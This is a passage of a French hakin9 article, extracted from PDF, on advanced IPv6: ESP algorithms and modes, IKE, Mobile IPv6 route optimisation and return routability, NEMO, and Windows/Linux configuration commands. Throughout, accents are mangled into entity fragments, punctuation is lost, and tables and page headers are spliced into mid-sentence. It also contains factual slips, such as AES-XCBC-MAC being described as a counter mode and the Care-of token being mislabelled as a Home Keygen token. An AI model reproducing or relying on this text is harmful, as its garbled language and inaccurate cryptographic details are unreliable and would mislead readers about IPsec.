Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

